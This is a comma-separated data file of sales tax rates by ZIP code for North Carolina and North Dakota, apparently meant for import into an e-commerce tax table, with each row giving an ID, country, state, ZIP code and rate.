US-NC-28344,US,NC,28344,7,,,, US-NC-28345,US,NC,28345,6.75,,,, US-NC-28347,US,NC,28347,6.75,,,, US-NC-28348,US,NC,28348,7,,,, US-NC-28349,US,NC,28349,7,,,, US-NC-28350,US,NC,28350,6.75,,,, US-NC-28351,US,NC,28351,6.75,,,, US-NC-28352,US,NC,28352,6.75,,,, US-NC-28353,US,NC,28353,6.75,,,, US-NC-28355,US,NC,28355,7,,,, US-NC-28356,US,NC,28356,7,,,, US-NC-28357,US,NC,28357,7,,,, US-NC-28358,US,NC,28358,7,,,, US-NC-28359,US,NC,28359,7,,,, US-NC-28360,US,NC,28360,7,,,, US-NC-28362,US,NC,28362,7,,,, US-NC-28363,US,NC,28363,6.75,,,, US-NC-28364,US,NC,28364,7,,,, US-NC-28365,US,NC,28365,6.75,,,, US-NC-28366,US,NC,28366,7,,,, US-NC-28367,US,NC,28367,6.75,,,, US-NC-28368,US,NC,28368,6.75,,,, US-NC-28369,US,NC,28369,7,,,, US-NC-28370,US,NC,28370,6.75,,,, US-NC-28371,US,NC,28371,7,,,, US-NC-28372,US,NC,28372,7,,,, US-NC-28373,US,NC,28373,6.75,,,, US-NC-28374,US,NC,28374,6.75,,,, US-NC-28375,US,NC,28375,7,,,, US-NC-28376,US,NC,28376,6.75,,,, US-NC-28377,US,NC,28377,7,,,, US-NC-28378,US,NC,28378,7,,,, US-NC-28379,US,NC,28379,6.75,,,, US-NC-28380,US,NC,28380,6.75,,,, US-NC-28382,US,NC,28382,7,,,, US-NC-28383,US,NC,28383,7,,,, US-NC-28384,US,NC,28384,7,,,, US-NC-28385,US,NC,28385,7,,,, US-NC-28386,US,NC,28386,7,,,, US-NC-28387,US,NC,28387,6.75,,,, US-NC-28388,US,NC,28388,6.75,,,, US-NC-28390,US,NC,28390,6.75,,,, US-NC-28391,US,NC,28391,7,,,, US-NC-28392,US,NC,28392,6.75,,,, US-NC-28393,US,NC,28393,7,,,, US-NC-28394,US,NC,28394,6.75,,,, US-NC-28395,US,NC,28395,7,,,, US-NC-28396,US,NC,28396,6.75,,,, US-NC-28398,US,NC,28398,7,,,, US-NC-28399,US,NC,28399,6.75,,,, US-NC-28401,US,NC,28401,7,,,, US-NC-28402,US,NC,28402,7,,,, US-NC-28403,US,NC,28403,7,,,, US-NC-28404,US,NC,28404,7,,,, US-NC-28405,US,NC,28405,7,,,, US-NC-28406,US,NC,28406,7,,,, US-NC-28407,US,NC,28407,7,,,, US-NC-28408,US,NC,28408,7,,,, US-NC-28409,US,NC,28409,7,,,, US-NC-28410,US,NC,28410,7,,,, US-NC-28411,US,NC,28411,7,,,, US-NC-28412,US,NC,28412,7,,,, US-NC-28420,US,NC,28420,6.75,,,, US-NC-28421,US,NC,28421,6.75,,,, US-NC-28422,US,NC,28422,6.75,,,, US-NC-28423,US,NC,28423,6.75,,,, US-NC-28424,US,NC,28424,6.75,,,, US-NC-28425,US,NC,28425,6.75,,,, US-NC-28428,US,NC,28428,7,,,, US-NC-28429,US,NC,28429,7,,,, US-NC-28430,US,NC,28430,6.75,,,, US-NC-28431,US,NC,28431,6.75,,,, US-NC-28432,US,NC,28432,6.75,,,, US-NC-28433,US,NC,28433,6.75,,,, US-NC-28434,US,NC,28434,6.75,,,, US-NC-28435,US,NC,28435,6.75,,,, US-NC-28436,US,NC,28436,6.75,,,, US-NC-28438,US,NC,28438,6.75,,,, US-NC-28439,US,NC,28439,6.75,,,, US-NC-28441,US,NC,28441,7,,,, US-NC-28442,US,NC,28442,6.75,,,, US-NC-28443,US,NC,28443,6.75,,,, US-NC-28444,US,NC,28444,7,,,, US-NC-28445,US,NC,28445,7,,,, US-NC-28447,US,NC,28447,7,,,, US-NC-28448,US,NC,28448,6.75,,,, US-NC-28449,US,NC,28449,7,,,, US-NC-28450,US,NC,28450,6.75,,,, US-NC-28451,US,NC,28451,6.75,,,, US-NC-28452,US,NC,28452,6.75,,,, US-NC-28453,US,NC,28453,7,,,, US-NC-28454,US,NC,28454,6.75,,,, US-NC-28455,US,NC,28455,6.75,,,, US-NC-28456,US,NC,28456,6.75,,,, US-NC-28457,US,NC,28457,6.75,,,, US-NC-28458,US,NC,28458,7,,,, US-NC-28459,US,NC,28459,6.75,,,, US-NC-28460,US,NC,28460,7,,,, US-NC-28461,US,NC,28461,6.75,,,, US-NC-28462,US,NC,28462,6.75,,,, US-NC-28463,US,NC,28463,6.75,,,, US-NC-28464,US,NC,28464,7,,,, US-NC-28465,US,NC,28465,6.75,,,, US-NC-28466,US,NC,28466,7,,,, US-NC-28467,US,NC,28467,6.75,,,, US-NC-28468,US,NC,28468,6.75,,,, US-NC-28469,US,NC,28469,6.75,,,, US-NC-28470,US,NC,28470,6.75,,,, US-NC-28472,US,NC,28472,6.75,,,, US-NC-28478,US,NC,28478,6.75,,,, US-NC-28479,US,NC,28479,6.75,,,, US-NC-28480,US,NC,28480,7,,,, US-NC-28501,US,NC,28501,6.75,,,, US-NC-28502,US,NC,28502,6.75,,,, US-NC-28503,US,NC,28503,6.75,,,, US-NC-28504,US,NC,28504,6.75,,,, US-NC-28508,US,NC,28508,7,,,, US-NC-28509,US,NC,28509,6.75,,,, US-NC-28510,US,NC,28510,6.75,,,, US-NC-28511,US,NC,28511,6.75,,,, US-NC-28512,US,NC,28512,6.75,,,, US-NC-28513,US,NC,28513,7,,,, US-NC-28515,US,NC,28515,6.75,,,, US-NC-28516,US,NC,28516,6.75,,,, US-NC-28518,US,NC,28518,7,,,, US-NC-28519,US,NC,28519,6.75,,,, US-NC-28520,US,NC,28520,6.75,,,, US-NC-28521,US,NC,28521,7,,,, US-NC-28522,US,NC,28522,6.75,,,, US-NC-28523,US,NC,28523,6.75,,,, US-NC-28524,US,NC,28524,6.75,,,, US-NC-28525,US,NC,28525,6.75,,,, US-NC-28526,US,NC,28526,6.75,,,, US-NC-28527,US,NC,28527,6.75,,,, US-NC-28528,US,NC,28528,6.75,,,, US-NC-28529,US,NC,28529,6.75,,,, US-NC-28530,US,NC,28530,7,,,, US-NC-28531,US,NC,28531,6.75,,,, US-NC-28532,US,NC,28532,6.75,,,, US-NC-28537,US,NC,28537,6.75,,,, US-NC-28538,US,NC,28538,7,,,, US-NC-28539,US,NC,28539,7,,,, US-NC-28540,US,NC,28540,7,,,, US-NC-28541,US,NC,28541,7,,,, US-NC-28543,US,NC,28543,7,,,, US-NC-28544,US,NC,28544,7,,,, US-NC-28545,US,NC,28545,7,,,, US-NC-28546,US,NC,28546,7,,,, US-NC-28547,US,NC,28547,7,,,, US-NC-28551,US,NC,28551,6.75,,,, US-NC-28552,US,NC,28552,6.75,,,, US-NC-28553,US,NC,28553,6.75,,,, US-NC-28554,US,NC,28554,7,,,, US-NC-28555,US,NC,28555,7,,,, US-NC-28556,US,NC,28556,6.75,,,, US-NC-28557,US,NC,28557,6.75,,,, US-NC-28560,US,NC,28560,6.75,,,, US-NC-28561,US,NC,28561,6.75,,,, US-NC-28562,US,NC,28562,6.75,,,, US-NC-28563,US,NC,28563,6.75,,,, US-NC-28564,US,NC,28564,6.75,,,, US-NC-28570,US,NC,28570,6.75,,,, US-NC-28571,US,NC,28571,6.75,,,, US-NC-28572,US,NC,28572,7,,,, US-NC-28573,US,NC,28573,6.75,,,, US-NC-28574,US,NC,28574,7,,,, US-NC-28575,US,NC,28575,6.75,,,, US-NC-28577,US,NC,28577,6.75,,,, US-NC-28578,US,NC,28578,6.75,,,, US-NC-28579,US,NC,28579,6.75,,,, US-NC-28580,US,NC,28580,7,,,, US-NC-28581,US,NC,28581,6.75,,,, US-NC-28582,US,NC,28582,7,,,, US-NC-28583,US,NC,28583,6.75,,,, US-NC-28584,US,NC,28584,6.75,,,, US-NC-28585,US,NC,28585,6.75,,,, US-NC-28586,US,NC,28586,6.75,,,, US-NC-28587,US,NC,28587,6.75,,,, US-NC-28589,US,NC,28589,6.75,,,, US-NC-28590,US,NC,28590,7,,,, US-NC-28594,US,NC,28594,6.75,,,, US-NC-28601,US,NC,28601,7,,,, US-NC-28602,US,NC,28602,7,,,, US-NC-28603,US,NC,28603,7,,,, US-NC-28604,US,NC,28604,6.75,,,, US-NC-28605,US,NC,28605,6.75,,,, US-NC-28606,US,NC,28606,7,,,, US-NC-28607,US,NC,28607,6.75,,,, US-NC-28608,US,NC,28608,6.75,,,, US-NC-28609,US,NC,28609,7,,,, US-NC-28610,US,NC,28610,7,,,, US-NC-28611,US,NC,28611,6.75,,,, US-NC-28612,US,NC,28612,6.75,,,, US-NC-28613,US,NC,28613,7,,,, US-NC-28615,US,NC,28615,6.75,,,, US-NC-28616,US,NC,28616,6.75,,,, US-NC-28617,US,NC,28617,6.75,,,, US-NC-28618,US,NC,28618,6.75,,,, US-NC-28619,US,NC,28619,6.75,,,, US-NC-28621,US,NC,28621,7,,,, US-NC-28622,US,NC,28622,6.75,,,, US-NC-28623,US,NC,28623,6.75,,,, US-NC-28624,US,NC,28624,7,,,, US-NC-28625,US,NC,28625,6.75,,,, US-NC-28626,US,NC,28626,6.75,,,, US-NC-28627,US,NC,28627,6.75,,,, US-NC-28628,US,NC,28628,6.75,,,, US-NC-28629,US,NC,28629,6.75,,,, US-NC-28630,US,NC,28630,6.75,,,, US-NC-28631,US,NC,28631,6.75,,,, US-NC-28633,US,NC,28633,6.75,,,, US-NC-28634,US,NC,28634,6.75,,,, US-NC-28635,US,NC,28635,7,,,, US-NC-28636,US,NC,28636,7,,,, US-NC-28637,US,NC,28637,6.75,,,, US-NC-28638,US,NC,28638,6.75,,,, US-NC-28640,US,NC,28640,6.75,,,, US-NC-28641,US,NC,28641,6.75,,,, US-NC-28642,US,NC,28642,6.75,,,, US-NC-28643,US,NC,28643,6.75,,,, US-NC-28644,US,NC,28644,6.75,,,, US-NC-28645,US,NC,28645,6.75,,,, US-NC-28646,US,NC,28646,6.75,,,, US-NC-28647,US,NC,28647,6.75,,,, US-NC-28649,US,NC,28649,7,,,, US-NC-28650,US,NC,28650,7,,,, US-NC-28651,US,NC,28651,7,,,, US-NC-28652,US,NC,28652,6.75,,,, US-NC-28653,US,NC,28653,6.75,,,, US-NC-28654,US,NC,28654,7,,,, US-NC-28655,US,NC,28655,6.75,,,, US-NC-28656,US,NC,28656,7,,,, US-NC-28657,US,NC,28657,6.75,,,, US-NC-28658,US,NC,28658,7,,,, US-NC-28659,US,NC,28659,7,,,, US-NC-28660,US,NC,28660,6.75,,,, US-NC-28661,US,NC,28661,6.75,,,, US-NC-28662,US,NC,28662,6.75,,,, US-NC-28663,US,NC,28663,6.75,,,, US-NC-28664,US,NC,28664,6.75,,,, US-NC-28665,US,NC,28665,7,,,, US-NC-28666,US,NC,28666,6.75,,,, US-NC-28667,US,NC,28667,6.75,,,, US-NC-28668,US,NC,28668,6.75,,,, US-NC-28669,US,NC,28669,7,,,, US-NC-28670,US,NC,28670,7,,,, US-NC-28671,US,NC,28671,6.75,,,, US-NC-28672,US,NC,28672,6.75,,,, US-NC-28673,US,NC,28673,7,,,, US-NC-28675,US,NC,28675,6.75,,,, US-NC-28676,US,NC,28676,7,,,, US-NC-28677,US,NC,28677,6.75,,,, US-NC-28678,US,NC,28678,7,,,, US-NC-28679,US,NC,28679,6.75,,,, US-NC-28680,US,NC,28680,6.75,,,, US-NC-28681,US,NC,28681,7,,,, US-NC-28682,US,NC,28682,7,,,, US-NC-28683,US,NC,28683,7,,,, US-NC-28684,US,NC,28684,6.75,,,, US-NC-28685,US,NC,28685,7,,,, US-NC-28687,US,NC,28687,6.75,,,, US-NC-28688,US,NC,28688,6.75,,,, US-NC-28689,US,NC,28689,6.75,,,, US-NC-28690,US,NC,28690,6.75,,,, US-NC-28691,US,NC,28691,6.75,,,, US-NC-28692,US,NC,28692,6.75,,,, US-NC-28693,US,NC,28693,6.75,,,, US-NC-28694,US,NC,28694,6.75,,,, US-NC-28697,US,NC,28697,7,,,, US-NC-28698,US,NC,28698,6.75,,,, US-NC-28699,US,NC,28699,6.75,,,, US-NC-28701,US,NC,28701,7,,,, US-NC-28702,US,NC,28702,6.75,,,, US-NC-28704,US,NC,28704,7,,,, US-NC-28705,US,NC,28705,6.75,,,, US-NC-28707,US,NC,28707,6.75,,,, US-NC-28708,US,NC,28708,6.75,,,, US-NC-28709,US,NC,28709,7,,,, US-NC-28710,US,NC,28710,6.75,,,, US-NC-28711,US,NC,28711,7,,,, US-NC-28712,US,NC,28712,6.75,,,, US-NC-28713,US,NC,28713,6.75,,,, US-NC-28714,US,NC,28714,6.75,,,, US-NC-28715,US,NC,28715,7,,,, US-NC-28716,US,NC,28716,7,,,, US-NC-28717,US,NC,28717,6.75,,,, US-NC-28718,US,NC,28718,6.75,,,, US-NC-28719,US,NC,28719,6.75,,,, US-NC-28720,US,NC,28720,6.75,,,, US-NC-28721,US,NC,28721,7,,,, US-NC-28722,US,NC,28722,6.75,,,, US-NC-28723,US,NC,28723,6.75,,,, US-NC-28724,US,NC,28724,6.75,,,, US-NC-28725,US,NC,28725,6.75,,,, US-NC-28726,US,NC,28726,6.75,,,, US-NC-28727,US,NC,28727,6.75,,,, US-NC-28728,US,NC,28728,7,,,, US-NC-28729,US,NC,28729,6.75,,,, US-NC-28730,US,NC,28730,7,,,, US-NC-28731,US,NC,28731,6.75,,,, US-NC-28732,US,NC,28732,6.75,,,, US-NC-28733,US,NC,28733,6.75,,,, US-NC-28734,US,NC,28734,6.75,,,, US-NC-28735,US,NC,28735,6.75,,,, US-NC-28736,US,NC,28736,6.75,,,, US-NC-28737,US,NC,28737,6.75,,,, US-NC-28738,US,NC,28738,7,,,, US-NC-28739,US,NC,28739,6.75,,,, US-NC-28740,US,NC,28740,6.75,,,, US-NC-28741,US,NC,28741,6.75,,,, US-NC-28742,US,NC,28742,6.75,,,, US-NC-28743,US,NC,28743,6.75,,,, US-NC-28744,US,NC,28744,6.75,,,, US-NC-28745,US,NC,28745,7,,,, US-NC-28746,US,NC,28746,6.75,,,, US-NC-28747,US,NC,28747,6.75,,,, US-NC-28748,US,NC,28748,7,,,, US-NC-28749,US,NC,28749,6.75,,,, US-NC-28750,US,NC,28750,6.75,,,, US-NC-28751,US,NC,28751,7,,,, US-NC-28752,US,NC,28752,6.75,,,, US-NC-28753,US,NC,28753,6.75,,,, US-NC-28754,US,NC,28754,6.75,,,, US-NC-28755,US,NC,28755,6.75,,,, US-NC-28756,US,NC,28756,6.75,,,, US-NC-28757,US,NC,28757,7,,,, US-NC-28758,US,NC,28758,6.75,,,, US-NC-28759,US,NC,28759,6.75,,,, US-NC-28760,US,NC,28760,6.75,,,, US-NC-28761,US,NC,28761,6.75,,,, US-NC-28762,US,NC,28762,6.75,,,, US-NC-28763,US,NC,28763,6.75,,,, US-NC-28765,US,NC,28765,6.75,,,, US-NC-28766,US,NC,28766,6.75,,,, US-NC-28768,US,NC,28768,6.75,,,, US-NC-28770,US,NC,28770,7,,,, US-NC-28771,US,NC,28771,6.75,,,, US-NC-28772,US,NC,28772,6.75,,,, US-NC-28773,US,NC,28773,6.75,,,, US-NC-28774,US,NC,28774,6.75,,,, US-NC-28775,US,NC,28775,6.75,,,, US-NC-28776,US,NC,28776,7,,,, US-NC-28777,US,NC,28777,6.75,,,, US-NC-28778,US,NC,28778,7,,,, US-NC-28779,US,NC,28779,6.75,,,, US-NC-28781,US,NC,28781,6.75,,,, US-NC-28782,US,NC,28782,6.75,,,, US-NC-28783,US,NC,28783,6.75,,,, US-NC-28784,US,NC,28784,6.75,,,, US-NC-28785,US,NC,28785,7,,,, US-NC-28786,US,NC,28786,7,,,, US-NC-28787,US,NC,28787,7,,,, US-NC-28788,US,NC,28788,6.75,,,, US-NC-28789,US,NC,28789,6.75,,,, US-NC-28790,US,NC,28790,6.75,,,, US-NC-28791,US,NC,28791,6.75,,,, US-NC-28792,US,NC,28792,6.75,,,, US-NC-28793,US,NC,28793,6.75,,,, US-NC-28801,US,NC,28801,7,,,, US-NC-28802,US,NC,28802,7,,,, US-NC-28803,US,NC,28803,7,,,, US-NC-28804,US,NC,28804,7,,,, US-NC-28805,US,NC,28805,7,,,, US-NC-28806,US,NC,28806,7,,,, US-NC-28810,US,NC,28810,7,,,, US-NC-28813,US,NC,28813,7,,,, US-NC-28814,US,NC,28814,7,,,, US-NC-28815,US,NC,28815,7,,,, US-NC-28816,US,NC,28816,7,,,, US-NC-28901,US,NC,28901,6.75,,,, US-NC-28902,US,NC,28902,6.75,,,, US-NC-28903,US,NC,28903,6.75,,,, US-NC-28904,US,NC,28904,6.75,,,, US-NC-28905,US,NC,28905,6.75,,,, US-NC-28906,US,NC,28906,6.75,,,, US-NC-28909,US,NC,28909,6.75,,,, US-ND-58001,US,ND,58001,5,,,, US-ND-58002,US,ND,58002,5.5,,,, US-ND-58004,US,ND,58004,5.5,,,, US-ND-58005,US,ND,58005,5.5,,,, US-ND-58006,US,ND,58006,5.5,,,, US-ND-58007,US,ND,58007,5.5,,,, US-ND-58008,US,ND,58008,5,,,, US-ND-58009,US,ND,58009,5,,,, US-ND-58011,US,ND,58011,5.5,,,, US-ND-58012,US,ND,58012,6.5,,,, US-ND-58013,US,ND,58013,5,,,, US-ND-58015,US,ND,58015,5,,,, US-ND-58016,US,ND,58016,5,,,, US-ND-58017,US,ND,58017,5,,,, US-ND-58018,US,ND,58018,5,,,, US-ND-58021,US,ND,58021,5.5,,,, US-ND-58027,US,ND,58027,7,,,, US-ND-58029,US,ND,58029,5.5,,,, US-ND-58030,US,ND,58030,5,,,, US-ND-58031,US,ND,58031,5,,,, US-ND-58032,US,ND,58032,6.5,,,, US-ND-58033,US,ND,58033,5,,,, US-ND-58035,US,ND,58035,5,,,, US-ND-58036,US,ND,58036,5.5,,,, US-ND-58038,US,ND,58038,5.5,,,, US-ND-58040,US,ND,58040,6,,,, US-ND-58041,US,ND,58041,7,,,, US-ND-58042,US,ND,58042,5.5,,,, US-ND-58043,US,ND,58043,5,,,, US-ND-58045,US,ND,58045,7,,,, US-ND-58046,US,ND,58046,8,,,, US-ND-58047,US,ND,58047,5.5,,,, US-ND-58048,US,ND,58048,5.5,,,, US-ND-58049,US,ND,58049,5,,,, US-ND-58051,US,ND,58051,7,,,, US-ND-58052,US,ND,58052,5.5,,,, US-ND-58053,US,ND,58053,5,,,, US-ND-58054,US,ND,58054,7,,,, US-ND-58056,US,ND,58056,5,,,, US-ND-58057,US,ND,58057,5,,,, US-ND-58058,US,ND,58058,5,,,, US-ND-58059,US,ND,58059,5.5,,,, US-ND-58060,US,ND,58060,5,,,, US-ND-58061,US,ND,58061,5,,,, US-ND-58062,US,ND,58062,5,,,, US-ND-58063,US,ND,58063,5,,,, US-ND-58064,US,ND,58064,5.5,,,, US-ND-58065,US,ND,58065,5,,,, US-ND-58067,US,ND,58067,5,,,, US-ND-58068,US,ND,58068,5,,,, US-ND-58069,US,ND,58069,5,,,, US-ND-58071,US,ND,58071,6.5,,,, US-ND-58072,US,ND,58072,7.5,,,, US-ND-58074,US,ND,58074,7,,,, US-ND-58075,US,ND,58075,7,,,, US-ND-58076,US,ND,58076,7,,,, US-ND-58077,US,ND,58077,5,,,, US-ND-58078,US,ND,58078,6.5,,,, US-ND-58079,US,ND,58079,5.5,,,, US-ND-58081,US,ND,58081,5,,,, US-ND-58102,US,ND,58102,7.5,,,, US-ND-58103,US,ND,58103,7.5,,,, US-ND-58104,US,ND,58104,7.5,,,, US-ND-58105,US,ND,58105,7.5,,,, US-ND-58106,US,ND,58106,7.5,,,, US-ND-58107,US,ND,58107,7.5,,,, US-ND-58108,US,ND,58108,7.5,,,, US-ND-58109,US,ND,58109,7.5,,,, US-ND-58121,US,ND,58121,7.5,,,, US-ND-58122,US,ND,58122,7.5,,,, US-ND-58124,US,ND,58124,7.5,,,, US-ND-58125,US,ND,58125,7.5,,,, US-ND-58126,US,ND,58126,7.5,,,, US-ND-58201,US,ND,58201,6.75,,,, US-ND-58202,US,ND,58202,6.75,,,, US-ND-58203,US,ND,58203,6.75,,,, US-ND-58204,US,ND,58204,5,,,, US-ND-58205,US,ND,58205,5,,,, US-ND-58206,US,ND,58206,6.75,,,, US-ND-58207,US,ND,58207,6.75,,,, US-ND-58208,US,ND,58208,6.75,,,, US-ND-58210,US,ND,58210,5.25,,,, US-ND-58212,US,ND,58212,5,,,, US-ND-58214,US,ND,58214,5,,,, US-ND-58216,US,ND,58216,5,,,, US-ND-58218,US,ND,58218,5,,,, US-ND-58219,US,ND,58219,5,,,, US-ND-58220,US,ND,58220,7,,,, US-ND-58222,US,ND,58222,5,,,, US-ND-58223,US,ND,58223,5,,,, US-ND-58224,US,ND,58224,5,,,, US-ND-58225,US,ND,58225,6.5,,,, US-ND-58227,US,ND,58227,5,,,, US-ND-58228,US,ND,58228,5,,,, US-ND-58229,US,ND,58229,5.25,,,, US-ND-58230,US,ND,58230,8,,,, US-ND-58231,US,ND,58231,5.25,,,, US-ND-58233,US,ND,58233,5.25,,,, US-ND-58235,US,ND,58235,5,,,, US-ND-58236,US,ND,58236,5,,,, US-ND-58237,US,ND,58237,7.25,,,, US-ND-58238,US,ND,58238,5,,,, US-ND-58239,US,ND,58239,5,,,, US-ND-58240,US,ND,58240,7,,,, US-ND-58241,US,ND,58241,5,,,, US-ND-58243,US,ND,58243,5.25,,,, US-ND-58244,US,ND,58244,5,,,, US-ND-58249,US,ND,58249,7,,,, US-ND-58250,US,ND,58250,5.25,,,, US-ND-58251,US,ND,58251,5,,,, US-ND-58254,US,ND,58254,5,,,, US-ND-58255,US,ND,58255,5,,,, US-ND-58256,US,ND,58256,5,,,, US-ND-58257,US,ND,58257,7,,,, US-ND-58258,US,ND,58258,5,,,, US-ND-58259,US,ND,58259,5,,,, US-ND-58260,US,ND,58260,5,,,, US-ND-58261,US,ND,58261,5.25,,,, US-ND-58262,US,ND,58262,5,,,, US-ND-58265,US,ND,58265,7,,,, US-ND-58266,US,ND,58266,5,,,, US-ND-58267,US,ND,58267,5,,,, US-ND-58269,US,ND,58269,5,,,, US-ND-58270,US,ND,58270,7.25,,,, US-ND-58271,US,ND,58271,7.5,,,, US-ND-58272,US,ND,58272,5,,,, US-ND-58273,US,ND,58273,5.25,,,, US-ND-58274,US,ND,58274,7,,,, US-ND-58275,US,ND,58275,5,,,, US-ND-58276,US,ND,58276,5,,,, US-ND-58277,US,ND,58277,6,,,, US-ND-58278,US,ND,58278,5,,,, US-ND-58281,US,ND,58281,5,,,, US-ND-58282,US,ND,58282,7,,,, US-ND-58301,US,ND,58301,7,,,, US-ND-58310,US,ND,58310,5,,,, US-ND-58311,US,ND,58311,5,,,, US-ND-58313,US,ND,58313,5,,,, US-ND-58316,US,ND,58316,5,,,, US-ND-58317,US,ND,58317,5,,,, US-ND-58318,US,ND,58318,7,,,, US-ND-58321,US,ND,58321,5,,,, US-ND-58323,US,ND,58323,5,,,, US-ND-58324,US,ND,58324,7,,,, US-ND-58325,US,ND,58325,5,,,, US-ND-58327,US,ND,58327,5,,,, US-ND-58329,US,ND,58329,6,,,, US-ND-58330,US,ND,58330,5,,,, US-ND-58331,US,ND,58331,5,,,, US-ND-58332,US,ND,58332,5,,,, US-ND-58335,US,ND,58335,5,,,, US-ND-58338,US,ND,58338,5,,,, US-ND-58339,US,ND,58339,5,,,, US-ND-58341,US,ND,58341,6,,,, US-ND-58343,US,ND,58343,5,,,, US-ND-58344,US,ND,58344,6,,,, US-ND-58345,US,ND,58345,5,,,, US-ND-58346,US,ND,58346,5,,,, US-ND-58348,US,ND,58348,5,,,, US-ND-58351,US,ND,58351,5,,,, US-ND-58352,US,ND,58352,5,,,, US-ND-58353,US,ND,58353,5,,,, US-ND-58355,US,ND,58355,5,,,, US-ND-58356,US,ND,58356,7,,,, US-ND-58357,US,ND,58357,5,,,, US-ND-58361,US,ND,58361,5,,,, US-ND-58362,US,ND,58362,5,,,, US-ND-58363,US,ND,58363,5,,,, US-ND-58365,US,ND,58365,5,,,, US-ND-58366,US,ND,58366,6,,,, US-ND-58367,US,ND,58367,7,,,, US-ND-58368,US,ND,58368,7,,,, US-ND-58369,US,ND,58369,6,,,, US-ND-58370,US,ND,58370,5,,,, US-ND-58372,US,ND,58372,5,,,, US-ND-58374,US,ND,58374,5,,,, US-ND-58377,US,ND,58377,5,,,, US-ND-58379,US,ND,58379,5,,,, US-ND-58380,US,ND,58380,5,,,, US-ND-58381,US,ND,58381,5,,,, US-ND-58382,US,ND,58382,5,,,, US-ND-58384,US,ND,58384,5,,,, US-ND-58385,US,ND,58385,5,,,, US-ND-58386,US,ND,58386,5,,,, US-ND-58401,US,ND,58401,7,,,, US-ND-58402,US,ND,58402,7,,,, US-ND-58405,US,ND,58405,7,,,, US-ND-58413,US,ND,58413,6,,,, US-ND-58415,US,ND,58415,5,,,, US-ND-58416,US,ND,58416,5,,,, US-ND-58418,US,ND,58418,5,,,, US-ND-58420,US,ND,58420,5,,,, US-ND-58421,US,ND,58421,6,,,, US-ND-58422,US,ND,58422,5,,,, US-ND-58423,US,ND,58423,5,,,, US-ND-58424,US,ND,58424,5,,,, US-ND-58425,US,ND,58425,6.5,,,, US-ND-58426,US,ND,58426,5,,,, US-ND-58428,US,ND,58428,5,,,, US-ND-58429,US,ND,58429,5,,,, US-ND-58430,US,ND,58430,5,,,, US-ND-58431,US,ND,58431,5,,,, US-ND-58433,US,ND,58433,5,,,, US-ND-58436,US,ND,58436,6,,,, US-ND-58438,US,ND,58438,5,,,, US-ND-58439,US,ND,58439,5,,,, US-ND-58440,US,ND,58440,5,,,, US-ND-58441,US,ND,58441,5,,,, US-ND-58442,US,ND,58442,5,,,, US-ND-58443,US,ND,58443,5,,,, US-ND-58444,US,ND,58444,5,,,, US-ND-58445,US,ND,58445,5,,,, US-ND-58448,US,ND,58448,5,,,, US-ND-58451,US,ND,58451,5,,,, US-ND-58452,US,ND,58452,5,,,, US-ND-58454,US,ND,58454,5,,,, US-ND-58455,US,ND,58455,5,,,, US-ND-58456,US,ND,58456,5,,,, US-ND-58458,US,ND,58458,7,,,, US-ND-58460,US,ND,58460,5,,,, US-ND-58461,US,ND,58461,5,,,, US-ND-58463,US,ND,58463,5,,,, US-ND-58464,US,ND,58464,5,,,, US-ND-58466,US,ND,58466,5,,,, US-ND-58467,US,ND,58467,5,,,, US-ND-58472,US,ND,58472,5,,,, US-ND-58474,US,ND,58474,7,,,, US-ND-58475,US,ND,58475,5,,,, US-ND-58476,US,ND,58476,5,,,, US-ND-58477,US,ND,58477,5,,,, US-ND-58478,US,ND,58478,5,,,, US-ND-58479,US,ND,58479,5,,,, US-ND-58480,US,ND,58480,5,,,, US-ND-58481,US,ND,58481,5,,,, US-ND-58482,US,ND,58482,7,,,, US-ND-58483,US,ND,58483,5,,,, US-ND-58484,US,ND,58484,5,,,, US-ND-58486,US,ND,58486,5,,,, US-ND-58487,US,ND,58487,5,,,, US-ND-58488,US,ND,58488,5,,,, US-ND-58490,US,ND,58490,5,,,, US-ND-58492,US,ND,58492,5,,,, US-ND-58494,US,ND,58494,5,,,, US-ND-58495,US,ND,58495,6.5,,,, US-ND-58496,US,ND,58496,5,,,, US-ND-58497,US,ND,58497,5,,,, US-ND-58501,US,ND,58501,6,,,, US-ND-58502,US,ND,58502,6,,,, US-ND-58503,US,ND,58503,6,,,, US-ND-58504,US,ND,58504,6,,,, US-ND-58505,US,ND,58505,6,,,, US-ND-58506,US,ND,58506,6,,,, US-ND-58507,US,ND,58507,6,,,, US-ND-58520,US,ND,58520,5,,,, US-ND-58521,US,ND,58521,5,,,, US-ND-58523,US,ND,58523,6,,,, US-ND-58524,US,ND,58524,5,,,, US-ND-58528,US,ND,58528,5,,,, US-ND-58529,US,ND,58529,5,,,, US-ND-58530,US,ND,58530,5,,,, US-ND-58531,US,ND,58531,5,,,, US-ND-58532,US,ND,58532,5,,,, US-ND-58533,US,ND,58533,6,,,, US-ND-58535,US,ND,58535,5,,,, US-ND-58538,US,ND,58538,5,,,, US-ND-58540,US,ND,58540,5,,,, US-ND-58541,US,ND,58541,5,,,, US-ND-58542,US,ND,58542,5,,,, US-ND-58544,US,ND,58544,5,,,, US-ND-58545,US,ND,58545,6,,,, US-ND-58549,US,ND,58549,5,,,, US-ND-58552,US,ND,58552,7,,,, US-ND-58554,US,ND,58554,6,,,, US-ND-58558,US,ND,58558,5,,,, US-ND-58559,US,ND,58559,5,,,, US-ND-58560,US,ND,58560,5,,,, US-ND-58561,US,ND,58561,7,,,, US-ND-58562,US,ND,58562,5,,,, US-ND-58563,US,ND,58563,5,,,, US-ND-58564,US,ND,58564,5,,,, US-ND-58565,US,ND,58565,5,,,, US-ND-58566,US,ND,58566,5,,,, US-ND-58568,US,ND,58568,5,,,, US-ND-58569,US,ND,58569,5,,,, US-ND-58570,US,ND,58570,5,,,, US-ND-58571,US,ND,58571,5,,,, US-ND-58572,US,ND,58572,5,,,, US-ND-58573,US,ND,58573,5,,,, US-ND-58575,US,ND,58575,5,,,, US-ND-58576,US,ND,58576,6.5,,,, US-ND-58577,US,ND,58577,7,,,, US-ND-58579,US,ND,58579,5,,,, US-ND-58580,US,ND,58580,5,,,, US-ND-58581,US,ND,58581,5,,,, US-ND-58601,US,ND,58601,6.5,,,, US-ND-58602,US,ND,58602,6.5,,,, US-ND-58620,US,ND,58620,5,,,, US-ND-58621,US,ND,58621,5,,,, US-ND-58622,US,ND,58622,5,,,, US-ND-58623,US,ND,58623,6,,,, US-ND-58625,US,ND,58625,5,,,, US-ND-58626,US,ND,58626,5,,,, US-ND-58627,US,ND,58627,5,,,, US-ND-58630,US,ND,58630,5,,,, US-ND-58631,US,ND,58631,6,,,, US-ND-58632,US,ND,58632,5,,,, US-ND-58634,US,ND,58634,5,,,, US-ND-58636,US,ND,58636,5,,,, US-ND-58638,US,ND,58638,5,,,, 